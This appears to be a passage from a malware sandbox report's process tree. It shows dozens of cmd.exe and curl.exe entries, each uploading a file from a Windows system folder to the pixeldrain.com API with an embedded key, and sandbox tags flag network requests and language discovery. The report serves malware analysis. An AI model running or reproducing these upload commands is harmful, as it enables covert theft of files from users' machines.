  PID:2976
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_altform-unplated_contrast-black.png-07-11-2026--13.56.06.png
    3⤵
    PID:4672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_altform-unplated_contrast-white.png-07-11-2026--13.56.06.png
  2⤵
  - Executes a command shell one-liner
  PID:5528
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_altform-unplated_contrast-white.png-07-11-2026--13.56.06.png
    3⤵
    PID:3664
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_contrast-black.png-07-11-2026--13.56.06.png
  2⤵
  PID:4580
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_contrast-black.png-07-11-2026--13.56.06.png
    3⤵
    PID:2868
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_contrast-white.png-07-11-2026--13.56.07.png
  2⤵
  PID:5820
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-80_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-80_contrast-white.png-07-11-2026--13.56.07.png
    3⤵
    PID:5920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96.png-07-11-2026--13.56.07.png
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96.png-07-11-2026--13.56.07.png
    3⤵
    PID:1324
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_altform-unplated.png-07-11-2026--13.56.07.png
  2⤵
  PID:4004
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_altform-unplated.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_altform-unplated.png-07-11-2026--13.56.07.png
    3⤵
    PID:2824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_altform-unplated_contrast-black.png-07-11-2026--13.56.07.png
  2⤵
  PID:2732
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_altform-unplated_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_altform-unplated_contrast-black.png-07-11-2026--13.56.07.png
    3⤵
    PID:2356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_altform-unplated_contrast-white.png-07-11-2026--13.56.08.png
  2⤵
  PID:6108
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_altform-unplated_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_altform-unplated_contrast-white.png-07-11-2026--13.56.08.png
    3⤵
    PID:4064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_contrast-black.png-07-11-2026--13.56.08.png
  2⤵
  PID:5948
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_contrast-black.png-07-11-2026--13.56.08.png
    3⤵
    PID:1920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_contrast-white.png-07-11-2026--13.56.08.png
  2⤵
  PID:6044
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\logo.targetsize-96_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-logo.targetsize-96_contrast-white.png-07-11-2026--13.56.08.png
    3⤵
    PID:1304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Personalize.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Personalize.png-07-11-2026--13.56.08.png
  2⤵
  PID:4024
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Personalize.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Personalize.png-07-11-2026--13.56.08.png
    3⤵
    PID:3120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\phone.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-phone.png-07-11-2026--13.56.09.png
  2⤵
  PID:3256
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\phone.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-phone.png-07-11-2026--13.56.09.png
    3⤵
    PID:712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black.png-07-11-2026--13.56.09.png
  2⤵
  PID:5860
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black.png-07-11-2026--13.56.09.png
    3⤵
    PID:5104
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-100.png-07-11-2026--13.56.09.png
  2⤵
  PID:1060
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-100.png-07-11-2026--13.56.09.png
    3⤵
    PID:4736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-125.png-07-11-2026--13.56.09.png
  2⤵
  PID:1672
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-125.png-07-11-2026--13.56.09.png
    3⤵
    PID:1628
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-150.png-07-11-2026--13.56.10.png
  2⤵
  PID:2284
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-150.png-07-11-2026--13.56.10.png
    3⤵
    PID:5044
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-200.png-07-11-2026--13.56.10.png
  2⤵
  PID:4272
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-200.png-07-11-2026--13.56.10.png
    3⤵
    PID:5160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-400.png-07-11-2026--13.56.10.png
  2⤵
  PID:3632
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-black_scale-400.png-07-11-2026--13.56.10.png
    3⤵
    PID:2792
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white.png-07-11-2026--13.56.11.png
  2⤵
  PID:2528
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white.png-07-11-2026--13.56.11.png
    3⤵
    PID:4100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-100.png-07-11-2026--13.56.11.png
  2⤵
  PID:1312
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-100.png-07-11-2026--13.56.11.png
    3⤵
    - Badlisted process makes network request
    PID:4752
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-125.png-07-11-2026--13.56.11.png
  2⤵
  PID:3476
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-125.png-07-11-2026--13.56.11.png
    3⤵
    - Badlisted process makes network request
    PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-150.png-07-11-2026--13.56.11.png
  2⤵
  PID:2808
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-150.png-07-11-2026--13.56.11.png
    3⤵
    PID:1100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-200.png-07-11-2026--13.56.12.png
  2⤵
  PID:5988
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-200.png-07-11-2026--13.56.12.png
    3⤵
    PID:952
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-400.png-07-11-2026--13.56.12.png
  2⤵
  PID:3644
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.contrast-white_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.contrast-white_scale-400.png-07-11-2026--13.56.12.png
    3⤵
    PID:3364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.png-07-11-2026--13.56.12.png
  2⤵
  PID:3124
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.png-07-11-2026--13.56.12.png
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-100.png-07-11-2026--13.56.12.png
  2⤵
  PID:6060
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-100.png-07-11-2026--13.56.12.png
    3⤵
    PID:5624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-125.png-07-11-2026--13.56.13.png
  2⤵
  PID:1484
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-125.png-07-11-2026--13.56.13.png
    3⤵
    PID:4336
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-150.png-07-11-2026--13.56.13.png
  2⤵
  PID:5708
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-150.png-07-11-2026--13.56.13.png
    3⤵
    PID:1572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-200.png-07-11-2026--13.56.13.png
  2⤵
  PID:3500
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-200.png-07-11-2026--13.56.13.png
    3⤵
    PID:3008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-400.png-07-11-2026--13.56.14.png
  2⤵
  PID:1388
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\splashscreen.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-splashscreen.scale-400.png-07-11-2026--13.56.14.png
    3⤵
    PID:6096
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Square71x71Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Square71x71Logo.png-07-11-2026--13.56.14.png
  2⤵
  PID:4200
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\Square71x71Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-Square71x71Logo.png-07-11-2026--13.56.14.png
    3⤵
    PID:5296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\System.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-System.png-07-11-2026--13.56.14.png
  2⤵
  PID:5628
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\System.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-System.png-07-11-2026--13.56.14.png
    3⤵
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black.png-07-11-2026--13.56.15.png
  2⤵
  PID:1872
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black.png-07-11-2026--13.56.15.png
    3⤵
    PID:4896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-100.png-07-11-2026--13.56.15.png
  2⤵
  PID:3932
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-100.png-07-11-2026--13.56.15.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-125.png-07-11-2026--13.56.15.png
  2⤵
  PID:4536
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-125.png-07-11-2026--13.56.15.png
    3⤵
    PID:4356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-150.png-07-11-2026--13.56.15.png
  2⤵
  PID:4524
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-150.png-07-11-2026--13.56.15.png
    3⤵
    PID:6028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-200.png-07-11-2026--13.56.16.png
  2⤵
  PID:5508
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-200.png-07-11-2026--13.56.16.png
    3⤵
    PID:2612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-400.png-07-11-2026--13.56.16.png
  2⤵
  PID:5276
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-black_scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-black_scale-400.png-07-11-2026--13.56.16.png
    3⤵
    PID:5448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white.png-07-11-2026--13.56.16.png
  2⤵
  PID:1344
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white.png-07-11-2026--13.56.16.png
    3⤵
    PID:3184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-100.png-07-11-2026--13.56.16.png
  2⤵
  PID:5844
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\TileSmall.contrast-white_scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-TileSmall.contrast-white_scale-100.png-07-11-2026--13.56.16.png
    3⤵
    PID:4780
